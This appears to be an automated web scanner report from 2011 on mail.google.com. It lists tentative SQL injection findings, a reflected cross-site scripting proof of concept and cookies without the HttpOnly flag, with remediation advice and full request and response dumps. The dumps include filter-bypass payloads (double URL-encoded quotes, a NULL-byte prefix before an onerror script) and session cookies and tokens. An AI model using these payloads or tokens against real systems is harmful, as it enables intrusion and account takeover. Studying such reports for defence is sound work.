XSS, Reflected Cross Site Scripting, Javascript Handler Injection, GMAIL, mail.google.com, Login Form

Loading

Contents

1. SQL injection

1.1. http://mail.google.com/a/%domain.name%/channel/bind [RID parameter]

1.2. http://mail.google.com/a/%domain.name%/channel/bind [SID parameter]

2. Cross-site scripting (reflected)

XSS in mail.google.com, DORK, Cross Site Scripting, CWE-79, CAPEC-86

3. Cookie without HttpOnly flag set

3.1. http://mail.google.com/a/%domain.name%/

3.2. http://mail.google.com/a/%domain.name%/

3.3. http://mail.google.com/a/%domain.name%/

3.4. http://mail.google.com/a/%domain.name%/

3.5. http://mail.google.com/a/%domain.name%/channel/bind

3.6. http://mail.google.com/a/%domain.name%/channel/test

4. Email addresses disclosed

4.1. http://mail.google.com/a/%domain.name%/

4.2. http://mail.google.com/a/%domain.name%/

4.3. http://mail.google.com/a/%domain.name%/

4.4. http://mail.google.com/a/%domain.name%/

4.5. http://mail.google.com/a/%domain.name%/

4.6. http://mail.google.com/a/%domain.name%/

4.7. http://mail.google.com/a/%domain.name%/

4.8. http://mail.google.com/a/%domain.name%/

4.9. http://mail.google.com/a/%domain.name%/

4.10. http://mail.google.com/a/%domain.name%/

4.11. http://mail.google.com/a/%domain.name%/

5. Content type incorrectly stated

5.1. http://mail.google.com/a/%domain.name%/

5.2. http://mail.google.com/a/%domain.name%/channel/bind

5.3. http://mail.google.com/a/%domain.name%/channel/test


1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

1.1. http://mail.google.com/a/%domain.name%/channel/bind [RID parameter]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/bind

Issue detail

The RID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the RID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the RID request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=2939&RID=rpc%2527&SID=A13D731ACC1CF09E&CI=1&AID=9&TYPE=xmlhttp&zx=g7jx2j4qlvcm&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-8%2Fbc-se-8%2Fbc-se-11%2Fr-cs*1064%2Fpf-s*8163; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ4AAAD6Ykwa7BrfWq8Hy44enz7GI2QuqjL9iZjhYgG9av06GSSCF8d0Pcl3GsU5vJ_UQ8dXbBASWQZLM1yb4PWbKk9YRj4fp4nmk9HhU4T-3PrXqKB72EC1-_MRTVCcauVh-UwS_02dwqOgUbfKjqkDgvRutrttInVyF3j5sAWI2RwzHgqck8ARxREW4K1Aw6uuJ7cunJNiWcnlDA1zFkRkiyyn; Path=/a/
Set-Cookie: S=gmail=GRYY4PfxlCPmkFeGVDCWGw:gmproxy=mVUNr6bxu1tVnc6PMfHu7Q; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:15:25 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 4830


<script><!--
var gmail_error=0;
var gmail_show_error=false;

--></script>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=UTF-8">

<title>Server Error</title>
<style><!--
body
...[SNIP]...

Request 2

GET /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=2939&RID=rpc%2527%2527&SID=A13D731ACC1CF09E&CI=1&AID=9&TYPE=xmlhttp&zx=g7jx2j4qlvcm&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-8%2Fbc-se-8%2Fbc-se-11%2Fr-cs*1064%2Fpf-s*8163; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response 2

HTTP/1.1 400 Unknown SID
Content-Type: text/html; charset=UTF-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ4AAAAnxKRovkU18GNuEMcg1S5LwvXxCmWKxMdrb6JybwtNcmBoKugI1dQyOKNWDLVhYbesJo6OUCTaGf01zsP6Owg2-X7p9ZkLcAl32qTKlT-_0gBV-pOyFHhkqFoKc9ZLHw0FDTyhsCtgDQ3XNClWGIP24xwzZpt2UEvotDqL6c7vnz0sHUQXvdR2M6riFvhkaefe3t6M3HsXhcXF15fvI13c; Path=/a/
Set-Cookie: S=gmail=nZDfqOtytnFWyWaA8k5Z_Q:gmproxy=XYI5Uji0ancoQeaxn-DdWw; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:15:26 GMT
Content-Length: 145
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE

<HTML>
<HEAD>
<TITLE>Unknown SID</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Unknown SID</H1>
<H2>Error 400</H2>
</BODY>
</HTML>
1.2. http://mail.google.com/a/%domain.name%/channel/bind [SID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/bind

Issue detail

The SID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the SID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the SID request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=2939&RID=rpc&SID=A13D731ACC1CF09E%2527&CI=1&AID=9&TYPE=xmlhttp&zx=g7jx2j4qlvcm&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-8%2Fbc-se-8%2Fbc-se-11%2Fr-cs*1064%2Fpf-s*8163; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ0AAAA71gWgjNUT6x3305pKXeiGsuwUwef7ZkaDV3WbeGLCVX1J4o0di-r4Mh9cgMdtlO8TNrchFNv-VzY_wml1rJ1JmbGagoUJTuQCnqZeBFzOFA0aUEtk0RGbmFO3iBa2hdA9TCCSSntKY_XUhnd6lhGvSSnLfHuaNILfbqf1NHp893GVvj4erdbYjPdCWbKLsUL_K16ndiNhzi9W39gbbChV; Path=/a/
Set-Cookie: S=gmail=O6zxcYihiZpgoycw1ls1Iw:gmproxy=xQd1jffejKQ2uUO3AZllqw; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:15:31 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 4830


<script><!--
var gmail_error=0;
var gmail_show_error=false;

--></script>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=UTF-8">

<title>Server Error</title>
<style><!--
body
...[SNIP]...

Request 2

GET /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=2939&RID=rpc&SID=A13D731ACC1CF09E%2527%2527&CI=1&AID=9&TYPE=xmlhttp&zx=g7jx2j4qlvcm&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-8%2Fbc-se-8%2Fbc-se-11%2Fr-cs*1064%2Fpf-s*8163; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response 2

HTTP/1.1 400 Unknown SID
Content-Type: text/html; charset=UTF-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ0AAAD24HGPFGVr61XnfVBTe_YB4zY9sChfo4qwTgssheD_fsOPMsOdD-Xh1hJcIFawv0-QdyP24m3u1HWvOclcZvOBfNVGvDYWoOMUwRko13_YTT3DMiHHG4XtRBiELOkRUgbh6mI4dbVyDNVvbWFLj1XgKWg0KqKyA4KpYWBO6-ZLwKYwvgL6naX95LsZ4FiIJDqsd2MF5Ww6vEe2fXTrOAQG; Path=/a/
Set-Cookie: S=gmail=Fkp03LdbGNunWX_nj17skg:gmproxy=vG-9c0pwGAuH3L6qq2iRig; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:15:32 GMT
Content-Length: 145
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE

<HTML>
<HEAD>
<TITLE>Unknown SID</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Unknown SID</H1>
<H2>Error 400</H2>
</BODY>
</HTML>
2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00ce180"><img%20src%3da%20onerror%3dalert(1)>76fb660f6c9 was submitted in the REST URL parameter 2. This input was echoed as ce180"><img src=a onerror=alert(1)>76fb660f6c9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /a/%domain.name%%00ce180"><img%20src%3da%20onerror%3dalert(1)>76fb660f6c9/?ui=2&view=bsp&ver=ohhl4rw8mbn4 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi

Response

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:13:33 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 5083


<script><!--
var gmail_error=0;
var gmail_show_error=false;

--></script>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=UTF-8">

<title>Server Error</title>
<style><!--
body
...[SNIP]...
<a target=_top href="http://mail.google.com/a/%domain.name%.ce180"><img src=a onerror=alert(1)>76fb660f6c9">
...[SNIP]...
3. Cookie without HttpOnly flag set  previous  next
There are 6 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=mail%3Ai.24.0.1&view=cv&th=12d6307c28715b59&th=12d6136ecca93776&th=12d609a7bf25e970&th=12d602a4df0cd5db&th=12d5cd1402cb670c&prf=1&_reqid=166657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_IMP=v*2%2Fjsnc%2Fed-ex%2Fbf-i%2Fd*0*0%2Fl-nv!%5Ei; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ4AAADCmN5Fl9AoICroiVoWz7SdCE4gX4o-NjQaMOLRX2aI5fbSAuHxkvlQGZIqSKvzJAcpcBTP5wXRsI3NFWR3Lsrui4nN0EL5G3GslfBPgLGK6ev72JlopNTgvuEwllnRf416FyRqJWf46vUoVMv0pTBkeGtAjy-5cBdSvrFPY3CzOOZLFguQcZuDNtKLUpambI6Il96UWS8XZTO0T7KsylcV; Path=/a/
Set-Cookie: GMAIL_IMP=EXPIRED; Expires=Wed, 12-Jan-2011 01:11:31 GMT; Path=/a/%domain.name%
Set-Cookie: S=gmail=5QUaE27xe0_um1Sfij_Xyg:gmproxy=TxotM9DUCmREqRHaEVn-MA; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:11:31 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 119014

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",519]
,["ub",[["^i",1294881087987]
,["^f",1294881087987]
,["Misc",1294881087987]
,["^k",1294881087987]
,["Follow up",1294881087987]
,[
...[SNIP]...
3.2. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=gdv&_reqid=266657&pcd=1&tz=535711_80_80_104160_76_446820&mb=0&rt=j HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_STAT_24=/S:v=2&a=i&ev=tl&t=2898&e=m%3D0%2Cr%3D21%2Cj%3D916%2Cjl%3D1394%2Cs%3D2520%2Ci%3D2659&r=1&rn=26&mn=tnt%3A70&mg=tsr%3An&ai=mail%3Ai.24.0.2; GMAIL_IMP=v*2%2Fad-p-tl_i%2Ftl-si-inbox*82%2Fad-l-tl_i%2Fed-su%2Fjsnc%2Fed-ex%2Fbf-i%2Fd*0*0%2Fl-nv!%5Ei; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:31 GMT
Set-Cookie: GMAIL_STAT_24=EXPIRED; Expires=Fri, 07-Jan-2011 00:30:31 GMT; Path=/a/%domain.name%
